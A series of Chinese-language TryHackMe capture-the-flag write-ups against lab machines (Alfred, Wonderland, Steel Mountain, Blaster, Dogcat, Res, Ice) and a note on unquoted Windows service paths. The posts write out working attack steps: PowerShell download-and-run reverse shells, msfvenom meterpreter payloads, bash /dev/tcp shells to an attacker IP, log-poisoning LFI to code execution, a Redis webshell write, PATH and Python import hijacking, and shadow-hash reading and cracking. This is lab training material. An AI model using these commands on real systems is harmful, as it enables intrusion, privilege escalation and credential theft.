Alfred (Try Hack Me Writeup)

URL : https://tryhackme.com/room/alfred IP : 10.10.244.238 Initial access rustscan -a 10.10.244.238 80 3389 8080nmap -A -p80,3389,8080 10.10.244.238- 發現 8080 的 Jenkins 是Jetty 9.4.z-SNAPSHOT 但找不到相關的 Exploit80 port 首頁- 看起來沒什麼特別的東西QQ python3 dirsearch.py -u http://10.10.244.238/掃了之後也沒啥東西8080 port 登入頁面- 發現會掃出一些404,但沒啥幫助 進入 Jenkins 看到官方的 hint 寫 *****:*****直接通靈猜 admin:admin 就進去了 …… 好無聊= =透過 Deploy 的 build code 輸入指令- whoami systeminfo 準備 Windows Reverse Shell- 本機wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 nc -nvlp 7877靶機- powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.21.55:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.21.55 -Port 7877就成功接上了- 取得 uesr flag- 使用 msfvenom 產 meterperter reverse shell- msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.21.55 LPORT=7879 -f exe -o meow.exe 開啟 msfconsole 準備接收- use exploit/multi/handler set LHOST 10.13.21.55 set LPORT 7879 set PAYLOAD windows/meterpreter/reverse_tcp show options 確認參數是否正確 run 等待接收下載並執行 meterpreter 的 shell- powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.21.55:8000/meow.exe','meow.exe')" Start-Process "meow.exe"msf 接上了!- What is the final size of the exe payload that you generated?- 73802meterperter- getuid回傳 Alfred\bruce``load incognito``list_tokens -g- 發現可以利用 BUILTIN\Administrators``impersonate_token "BUILTIN\Administrators"- 成功! 再次 whoamiMigrate 到 system- ps 準備寄生到 services.exe``migrate 668- 成功!輸入 shell- cd system type root.txt 取得 root flagdff0f748678f280250f25a45b8046b4a

2021-08-06 · 1 分鐘 · steven

Windows Unquoted Services Path

顧名思義,這是一個 Windows 服務上面的漏洞。找到符合沒有加上引號的路徑很常見,但是真正能夠運用的機率不一定很多,因為前提是還需要注意相關路徑的寫入以及讀取權限。 使用前提:檔案的路徑中有空格 而且檔案沒有用引號括起來 對於該檔案的前一個目錄具有寫入的權限 達成這兩個前提就有機會可以實作 Unquoted Services Path 相關的漏洞應用,但通常在 XP 以後的作業系統,預設普通使用者沒有 C:\ 的寫入權限,所以大多數狀況都不適用;而使用者也須要具備對於該 Services 的開啟與關閉權限。 先備知識,觀察權限AccessChk Services 權限accesschk.exe /accepteula -ucqv {services_name} 資料夾權限- accesschk -uwdq "C:\Program Files (x86)" 觀察 wmic 輸入 wmic service get name,pathname可以觀察到所有服務的名稱與檔案名稱 輸入 wmic service get pathname,startname- 可以觀察到程式名稱與執行者名稱(startname) 在此, startname 若為 LocalSystem 則代表有 system 權限 Winpeas Winpeas 也有這種相關提示No quotes and Space detectd 實作與解釋 假設我們看到一個 Path 如下所述 C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe 我們可以發現路徑依序為Program Files (x86)Windows 會先嘗試解釋為 Program.exe 再解釋 Program Files (x86)``meow``meowmeow 8.7- Windows 會先嘗試解釋為 meowmeow.exe 再解釋 meowmeow 8.7``meoewww.exe 在這段路徑中,我們觀察路徑的空白會發現,有兩個可以利用的點,分別是路徑中有空白的Program Files (x86)以及meowmeow 8.7 ...

2021-08-05 · 1 分鐘 · steven

Wonderland (Try Hack Me Writeup)

URL: https://tryhackme.com/dashboard IP : 10.10.166.15 Recon 一直 nmap 太老梗太無聊了來玩玩新東西 RustScan wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb sudo dpkg -i rustscan_2.0.1_amd64.deb``rustscan -a 10.10.166.15- 開 22 跟 80 網址 http://10.10.166.15/透過 dirsearch 可以找到/rhttp://10.10.166.15/r/ 再掃,可以掃到- /a 感覺每次都是一個字,所以可以爆搜看看,自己寫一個 python 腳本- import requests from multiprocessing import Pool url = 'http://10.10.166.15/r/a/' alphabat = 'abcdefghijklmnopqrstuvwxyz' def req(i): res = requests.get(f'{url}/{i}') if res.status_code == 200: print(i) p = Pool(10) p.map(req,alphabat) 如果爆到正確的就會 print 出來,然後手動把搜的結果加去 url 最後面再爆所以最後爆出的結果是r/a/b/b/i/thttp://10.10.166.15/r/a/b/b/i/t/- 觀察原始碼會發現一串奇怪的字串alice:HowDothTheLittleCrocodileImproveHisShiningTail 斷詞後發現是 How Doth The Little Crocodile Improve His Shining Tail 來自於How Doth the Little Crocodile 路易斯·卡羅創作的詩How doth the little crocodile Improve his shining tail And pour the waters of the Nile On every golden scale! How cheerfully he seems to grin How neatly spreads his claws, And welcomes little fishes in With gently smiling jaws!好…完全不重要 SSH 通靈一下,我們時常會把帳號跟密碼用 : 隔開說不定,上面那串就是 alice 的密碼!嘗試ssh登入看看ssh alice@10.10.166.15密碼 HowDothTheLittleCrocodileImproveHisShiningTail到處找了一輪,都找不到 user.txt QAQ- 算了,我們直接想辦法提權,等有 root 後再用上帝視角來搜! 但反而我們使用者alice的家目錄有一個沒有權限讀的 root.txt 輸入 sudo -l 觀察- 發現我們可以用 rabbit 使用者身分執行 /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 所以執行方法應該如下 sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 挾持 Python 觀察 walrus_and_the_carpenter.py發現內部的程式碼會 import random 這個時候我們可以透過一些小技巧挾持他的 randomPython 的 import 有一個特性- 首先他會讀取同一個資料夾裡面,是否有相同檔名的檔案來給他 Import 再來才會去找 sys.path 裡面的東西可以輸入 python3 -c "import sys; print(sys.path)" 觀察所以由於該檔案在我們家目錄,我們可以在自己家目錄下創一個 random.py- 此時如果執行該 python 檔案,即可使用我們自己的 random 我們建造的 random.py``python3 import pty pty.spawn("/bin/bash") 以 rabbit 使用者執行看看sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 就會發現我們噴成 rabbit 的 shell 了! 逆向工程 進入 rabbit 後,發現他的家目錄有一個 teaParty 的檔案透過 file teaParty 檢查會發現他是一個 ELF 執行檔透過 ls -al teaParty 會發現他有 SUID- 那不管了,我們先執行看看ㄅ!- ./teaParty 噴了一些字,還有當前時間就卡住了,感覺可以讓我輸入一些字,那就先隨便輸入個 meow 看看ㄅ 哇…… 噴出了 Segmentation fault (core dumped) 母…母湯阿,不會在這邊要開始打 pwn 了吧 QWQ好吧,那我們先把檔案抓出來分析看看- cp teaParty /tmp chmod 777 /tmp/teaParty 本機scp alice@10.10.166.15:/tmp/teaParty .透過 Cutter 打開- 觀察 main 函數會發現,先會 set uid 跟 gid 為 0x3eb = 1003 先觀察一下 uid、gid 1003 是誰cat /etc/passwd | grep 1003 會發現是一個叫做 hatter 的使用者關於逆向這個程式,很明顯的重點就是以下三行- setuid(0x3eb); setgid(0x3eb); system("/bin/echo -n \'Probably by \' && date --date=\'next hour\' -R"); 然後他的 Segmentation fault 是假的7777777777777777777我們可以發現他的 system 裡面主要 call 了兩個東西- 第一個是 /bin/echo 第二個是 date 在這邊我先查詢了 /bin/echo 以及 /bin/date 發現都不可以修改想到我們可以做什麼事情了嗎?- 程式裡面的 system 呼叫的是 date 而不是 /bin/date 而在 Linux 中,如果不寫完整的路徑,就會去$PATH裡面抓 所以我們可以修改 $PATH ,增加路徑,並放上我們自己ㄉ date 檔案放一個 reverse shell/bin/bash -c '/bin/bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'再給他權限- chmod +x date攻擊機準備好 reverse shell- nc -vlk 7877再輸入以下指令- PATH=/home/rabbit:$PATH ./teaParty就可以收到 reverse shell 了!!- 我們目前到了 hatter 使用者 在根目錄可以發現一組 WhyIsARavenLikeAWritingDesk? 密碼,可以以此用 ssh 登入 hatter ssh hatter@10.10.166.15 提權 先透過 scp 把 linpeas 給傳到機器中輸入 bash linpeas.sh- 發現一些有趣的東西在 Capabilities 的地方可以看到- Files with capabilities 發現 perl 有 cap_setuid 去 GTFObins 上找就找到了 GTFObins 上面的 perl Capabilities- perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' 就發現了我們拿到 root !!也就順利的拿到了 root 的 flag- thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}到 /root 看看有什麼東西- 找到了 user.txt``thm{"Curiouser and curiouser!"} 把user.txt放在root目錄是不是搞錯了什麼

2021-08-05 · 2 分鐘 · steven

Steel Mountain (Try Hack Me Writeup)

URL : https://tryhackme.com/room/steelmountain IP : 10.10.27.172 Scan rustscan -a 10.10.27.172 nmap -A 10.10.27.172 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 01:58 EDT Nmap scan report for 10.10.27.172 Host is up (0.27s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=steelmountain | Not valid before: 2021-08-04T05:45:04 |_Not valid after: 2022-02-03T05:45:04 |_ssl-date: 2021-08-05T05:59:31+00:00; 0s from scanner time. 8080/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open unknown 49156/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: , NetBIOS MAC: 02:5d:12:51:16:37 (unknown) | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-05T05:59:18 |_ start_date: 2021-08-05T05:44:25 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 90.76 seconds 觀察首頁http://10.10.27.172/ 有一個 Employee of the month圖片網址 http://10.10.27.172/img/BillHarper.pngWho is the employee of the month?- Bill HarperScan the machine with nmap. What is the other port running a web server on?- 8080Take a look at the other web server. What file server is running?- 透過 NMAP 可以發現 HttpFileServer 公司叫做 rejetto 所以答案 Rejetto Http File ServerHFS 的版本 2.3 可以找到有一個CVE- https://www.exploit-db.com/exploits/39161 CVE-2014-6287 Exploit 下載檔案到 kaliwget https://www.exploit-db.com/download/39161 -O 39161.py 修改內部的 ip 及 port ip_addr = "10.13.21.55" local_port = "7878"這邊的 port 是指 reverse shell 的port另外依照 exploit 需求,需要在攻擊機 80 port 開一個 webserver,並在根目錄放一個 nc.exe- nc.exe 可以從這邊取得https://github.com/int0x33/nc.exe/blob/master/nc.exesudo python3 -m http.server 80- 使用 python 開啟 80 port 的 webserver並於本地端開啟 nc 監聽- nc -l 7877執行 exploit- python 39161.py 10.10.27.172 8080 就可以收到 shell ㄌ!- 使用 whoami 確認使用者名稱在使用者的桌面找到 user flag- b04763b6fcf51fcd7c13abc7db4fd365 觀察提權資訊 輸入 systeminfo 可以觀察到Microsoft Windows Server 2012 R2 Datacenter 下載 WinPeas.exe 進行掃描- powershell -c wget http://10.13.21.55:8000/winPEASx64.exe -outFile winPEASx64.exe執行 Winpeas 發現有可疑ㄉ引號路徑漏洞- 觀察 Services- 可以輸入 powershell -c Get-Service 觀察目前的所有 Services WinPeas 也已經很好心的告訴我們是 AdvancedSystemCareService9 了確認檔案與 Services 的權限- 先準備 https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk 在攻擊機 powershell -c wget http://10.13.21.55:8000/accesschk.exe -outFile accesschk.exe觀察 Services 權限- accesschk.exe /accepteula -ucqv AdvancedSystemCareService9 可以發現我們的使用者 bill 可以幫 servicesStart Stop觀察檔案權限- accesschk -uwdq "C:\Program Files (x86)\"可以看到我們沒有權限 accesschk -uwdq "C:\Program Files (x86)\IoBit- 發現我們有 RW 權限!!透過 msfevon 產出一個 reverse shell- msfevon -p windows/x64_shell_reverse_tcp LHOST=10.13.21.55 LPORT=8877 -f exe -a Advanced.exe下載檔案並放置到 C:\Program Files (x86)- powershell -c wget http://10.13.21.55:8000/Advanced.exe -outFile Advanced.exe 準備 reverse shell 監聽nc -vlk 8877觀察 services- sc qc AdvancedSystemCareService9qc : Query system config停止 services- sc stop AdvancedSystemCareService9 重啟 services- sc start AdvancedSystemCareService9 會發現畫面卡住,因為我們的 reverse sehll 已經接上了!! 取得 root flag- 9af5f314f57607c00fd09803a587db80

2021-08-05 · 3 分鐘 · steven

Blaster (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blaster IP: 10.10.188.122 先寫在前面,這一題初學者不建議打,官方的影片跟 Writeup 都不完全適用,可能是作者重新 Deploy 過題目或是做過一些升級,所以整題難度高了非常多 QQ Recon 老梗 nmap -A 10.10.188.122 發現有開兩個 port80 3389How many ports are open on our target system?- 2Looks like there’s a web server running, what is the title of the page we discover when browsing to it?- nmap 就告訴我們ㄌ IIS Windows ServerInteresting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?- 預設的 dirsearch 找不到東西這邊我用了 dirb 的 big Wordlist- python3 dirsearch.py -u http://10.10.188.122 -e all -w /usr/share/dirb/wordlists/big.txt 掃到ㄌ http://10.10.188.122/retro/透過 Wappalyzer 可以觀察到- 他是一個 WordpressNavigate to our discovered hidden directory, what potential username do we discover?- Po 文者都是 WadeCrawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?- 發現一篇文章Ready Player One I can’t believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it’s because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie! 他說他最喜歡的書是 Ready Player One (一級玩家) 他的名字跟主角很像,主角是 Wade Owen Watts 然後他說他常常在登入時打錯他的 avatar抱歉我英文不好,查了之後才知道avatar : (網路遊戲或網路聊天室中的)虛擬化身 所以應該是電影裡面的角色名稱在這邊查詢 https://hero.fandom.com/wiki/Parzival_(Ready_Player_One)- 可以找到 Wade Owen Watts, under the virtual name Parzival所以他的密碼是 parzival- 大小寫都 try 了一次,發現是全小寫 RDP 透過 RDP 登入遠端系統xfreerdp +drives /u:Wade /v:10.10.151.248:3389 使用密碼 parzival 即可順利登入取得 user flag- THM{HACK_PLAYER_ONE} 開始工具列搜尋 system infomation- 可以看到作業系統的版本等資訊嘗試使用 winPEAS 來搜可以提權的點- powershell wget http://10.13.21.55:8000/winPEAS.bat -outfile winPEAS.bat 有 Defender 把我吃掉ㄌ QQQQ這邊依照官方的Writeup 以及教學,理論上可以在 IE 的瀏覽紀錄上找到一些蛛絲馬跡- 但我這邊看到基本上是空的QQQQ 好吧,那就當作這題是困難版的,繼續嘗試 可疑的檔案 在桌面上找到 hhupd.exe直接丟去 Google 就會看到- CVE-2019-1388 提權When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?- 完成正規解可以在瀏覽器蛛絲馬跡上找到的答案QQ CVE-2019-1388Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?- 桌面上的檔案 hhupd透過觀察網路上的資源- https://github.com/jas502n/CVE-2019-1388 可以發現 CVE-2019-1388 是一個很酷ㄉ洞,基本實作細節如下1. 對著 hhupd 點兩下 跳出 UAC 後,選 show more details- 選擇 Show infomation about the publisher's certificate- 點選 Issued by: 後面的超連結- 這個時候畫面還是顯示憑證資訊,我們可以按 OK 先關掉 再按 No 關閉 UAC 這個時候出現的 IE,而這個IE就是以 system 權限跑起來的- 我們可以按下 ctrl + s 把網頁存檔,目的主要是為了叫出存檔的框框 這個時候會跳出一個錯誤,不重要,直接按下 OK- 在上方路徑處輸入 cmd 或 C:\Windows\System32\cmd.exe 並按下 Enter- 會跳出一個 cmd 框框,而且是用 system 權限執行起來的- 提權完成Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?- nt authority\system接下來就可以到 admin 資料夾的桌面領 root flag ㄌ- Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!- THM{COIN_OPERATED_EXPLOITATION} ...

2021-08-04 · 4 分鐘 · steven

Dogcat (Try Hack Me Writeup)

URL : https://tryhackme.com/room/dogcat IP: 10.10.221.153 第一次打 Medium 的題目 Recon 先用老梗 nmap -A 10.10.221.153發現只有開 80 跟 22dirsearch- 發現基本上都沒有東西 QQ 瀏覽器亂逛 http://10.10.221.153/ 會發現可以選狗勾或貓貓選貓貓會出現 網址是 http://10.10.221.153/?view=cat選狗勾- 網址是 http://10.10.221.153/?view=dog 不要問我為什麼不幫狗勾截圖嘗試 LFI- 這邊可以套一個 php 的 LFI 老梗 PHP Wrapperhttp://10.10.221.153/?view=php://filter/convert.base64-encode/resource=cat 可以發現成功噴出了一堆 base64PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K 解碼後發現是 .jpg" /> 而同理解碼狗勾是 .jpg" />繞狗勾- 假設我們想要看 /etc/passwd``http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=/etc/passwd 他會說 Sorry, only dogs or cats are allowed.而如果我們輸入 /etc/passwddog- 他會回傳 Here you go! 但是噴一些錯誤 因為找不到檔案,所以錯誤很合理那我們嘗試亂寫奇怪的路徑看看- http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=./dog/../dog 會發現可以成功開啟狗勾嘗試觀察 index.php 內容 這邊只截錄重點 可以發現參數 ext 很重要我們可以透過給予 ext 空白繞過副檔名任意 LFI- http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../index.php http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/passwd http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/apache2/apache2.conf http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../var/log/apache2/access.log可以發現 access.log 可讀 可以透過 access.log 來做到 LFI 2 RCELFI 2 RCE- 如果在瀏覽器輸入這個10.10.221.153?A=在 log 上會變成這樣- /?A=%3C?php%20phpinfo();%20?%3C/php%3E 主要是因為 HTTP 會做到 URL Encode所以可以用 nc- nc 10.10.221.153 80 GET /MEOW? 成功!寫入 webshell- nc 10.10.221.153 80 GET /MEOW? http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=curl%20-o%20/tmp/s%20http://10.13.21.55:8000/s載入 reverse shell 在這邊發現這台電腦沒有 wget,所以用 curlhttp://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=bash%20/tmp/s- 執行 reverse shell 本地 nc -vlk 7877 就可以順利接到 Shell ㄌ! Shell 在/var/www/flag.php可以找到 flag1 在 /var/www/flag.php- 可以找到 flag2 嘗試提權- 輸入 sudo -l 可以發現我們可以用 root 來 run /usr/bin/env 這邊有兩種用法/usr/bin/env ls /root就可以用 roo 來 ls /root也可以參考 gtfobins- 有 suid 的 env env /usr/bin/sh -p取得 root flag (flag3)- THM{D1ff3r3nt_3nv1ronments_874112} Docker 提權 不管了,先老梗的 linpeas 下去curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh /usr/bin/env /tmp/linpeas.sh 可以發現根目錄有 /.dockerenv 確定目前我們在docker中發現備份檔案- 發現有 backup.tar 跟 backup.sh 試著把檔案複製到 /var/www/html 來準備下載下載並觀察備份檔案- wget http://10.10.221.153/backup.tar tar xf backup.tar觀察 Docker File- 發現沒什麼特別 但也發現為什麼 access log 一直有噴一個 127.0.0.1 的 curl觀察 launch.sh- 發現重點!! 他把 /opt/backup 掛載到本地的/root/container/backup所以我在 /opt/backup 寫資料會跑到本地端那問題就只剩下,我們怎麼讓本地執行觀察 backup.sh- 發現裡面就 tar cf /root/container/backup/backup.tar /root/container 但……本地端是怎麼執行的ㄋ?? 突然發現上面的 backup.tar 就剛好是當前時間!所以可以推測說在遠端有一個 cron job寫入 backup.sh- 戳一個 reverse shellecho "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> backup.sh 本地端開 nc -vlk 7878- 拿到本地 root shell! (flag4)- THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

2021-08-02 · 2 分鐘 · steven

Res (Try Hack Me Writeup)

URL : https://tryhackme.com/room/res IP : 10.10.149.195 Recon 先來老梗的 nmap -A 10.10.149.195``Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT Nmap scan report for 10.10.149.195 Host is up (0.29s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works ![](https://i.imgur.com/3PG5lnw.png)``python3 dirsearch.py -u http://10.10.149.195/ -e all- 發現完全沒東西Scan the machine, how many ports are open?- 理論上要掃全部的 port nmap -p- 10.10.149.195雖然很有效果,但很浪費時間 QQ 掃ㄌ將近 20 分鐘QQ因為喵到下面說 port 是 ****- 所以我猜測是 1000~9999 nmap -p 1000-9999 10.10.149.195 答案 6379~其實這題題目跟 logo 就很明顯ㄌ~~Scan the machine, how many ports are open?- 2 個 port 80 與 6379What’s is the database management system installed on the server?- 6379 是 redisWhat port is the database management system running on?- 6379What’s is the version of management system installed on the server?- nmap -p6379 -A 10.10.149.195 可以看到是 6.0.7 嘗試 Google 過,找不到這個版本的 Exploit 找不到 exploit 寫入 shell 使用 redis cli 連上redis-cli -h 10.10.149.195進行連線config set dir "/var/www/html"``config set dbfilename meow.php``set x "\r\n\r\n\r\n\r\n"``save成功寫入 phpinfo寫入 web shell- config set dbfilename shell.php set x "\r\n\r\n\r\n\r\n" save 成功寫入 webshell 且可以使用 ls上傳 reverse shell- 本地端準備bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1' 存在 s 檔案中 並使用 python3 -m http.server 開啟網頁伺服器http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s- 把檔案存下來http://10.10.149.195/shell.php?A=cat%20/tmp/s- 確認寫入正常執行 reverse shell- 本地端準備 nc -vlk 7877 訪問 http://10.10.149.195/shell.php?A=bash%20/tmp/s 成功接上 reverse shell本地亂逛- python -c 'import pty; pty.spawn("/bin/bash")'互動式 bash尋找 user flag- 檔案在 /home/vianka/user.txt thm{red1s_rce_w1thout_credent1als} 提權 Linpeaswget 10.13.21.55:8000/linpeas.sh下載 linpeasbash linpeas.sh | tee out.txt- 執行發現有標顏色的 suid- xxdsuid xxd 提權- gtfobins 找到 suid xxd 讀檔https://gtfobins.github.io/gtfobins/xxd/#suid要破解密碼的話可以破 /etc/shadow 的 hash- LFILE=/etc/shadow xxd "$LFILE" | xxd -r可以順利回傳 /etc/shadow- vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::爆破密碼- 複製 vianka 的 hash 到本地端 呼叫約翰john j.txt --wordlist=/opt/rockyou.txt 成功破解密碼為 beautiful1切換使用者- su vianka切換使用者,並切換密碼為 beautiful1確認權限- 輸入 sudo -l 發現使用者可以用 sudo使用 sudo su 切換到 root成功取得 root flag-

2021-08-01 · 2 分鐘 · steven

Ice (Try Hack Me Writeup)

URL: https://tryhackme.com/room/ice Recon 題目建議使用 SYN Scanhttps://nmap.org/book/synscan.html 可以發現指令是 -sS sudo nmap -sS 10.10.209.59需要 root 權限 所以 sudo └─$ sudo nmap -sS 10.10.209.59 [sudo] password for kali: Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 08:58 EDT Nmap scan report for 10.10.209.59 Host is up (0.27s latency). Not shown: 988 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5357/tcp open wsdapi 8000/tcp open http-alt 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49158/tcp open unknown 49159/tcp open unknown 49160/tcp open unknown 不管,還是run一次習慣的 -A 看看 sudo nmap -A 10.10.209.59 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 09:00 EDT Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute Traceroute Timing: About 32.26% done; ETC: 09:02 (0:00:00 remaining) Nmap scan report for 10.10.209.59 Host is up (0.28s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=Dark-PC | Not valid before: 2021-07-30T12:49:58 |_Not valid after: 2022-01-29T12:49:58 |_ssl-date: 2021-07-31T13:02:27+00:00; 0s from scanner time. 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 8000/tcp open http Icecast streaming media server |_http-title: Site doesn't have a title (text/html). 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=7/31%OT=135%CT=1%CU=30419%PV=Y%DS=4%DC=T%G=Y%TM=610549 OS:E3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS OS:=7)OPS(O1=M506NW8ST11%O2=M506NW8ST11%O3=M506NW8NNT11%O4=M506NW8ST11%O5=M OS:506NW8ST11%O6=M506ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20 OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M506NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0 OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1 OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI OS:=N%T=80%CD=Z) Network Distance: 4 hops Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h15m00s, deviation: 2h30m00s, median: 0s |_nbstat: NetBIOS name: DARK-PC, NetBIOS user: , NetBIOS MAC: 02:bd:72:1c:16:7b (unknown) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: Dark-PC | NetBIOS computer name: DARK-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-07-31T08:02:13-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-07-31T13:02:13 |_ start_date: 2021-07-31T12:49:56 TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 139.52 ms 10.13.0.1 2 ... 3 4 283.86 ms 10.10.209.59 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 104.04 seconds Once the scan completes, we’ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?一堆字,題目不會講重點ㄇ…他問 RDP 是什麼 Port 3389What service did nmap identify as running on port 8000? (First word of this service)- 用 -A 的 nmap 可以看出 他是 IcecastWhat does Nmap identify as the hostname of the machine? (All caps for the answer)- 一樣是 -A 的 nmap 有寫到 Host: DARK-PC Gain Access Now that we’ve identified some interesting services running on our target machine, let’s do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What type of vulnerability is it? Use https://www.cvedetails.com for this question and the next.我們知道他是 Icecast 就可以找到他的弱點 不過我是直接 Google Icecast RCE我覺得 cvedetails 的搜尋很難用https://www.cvedetails.com/cve/CVE-2004-1561/題目問說 Type- 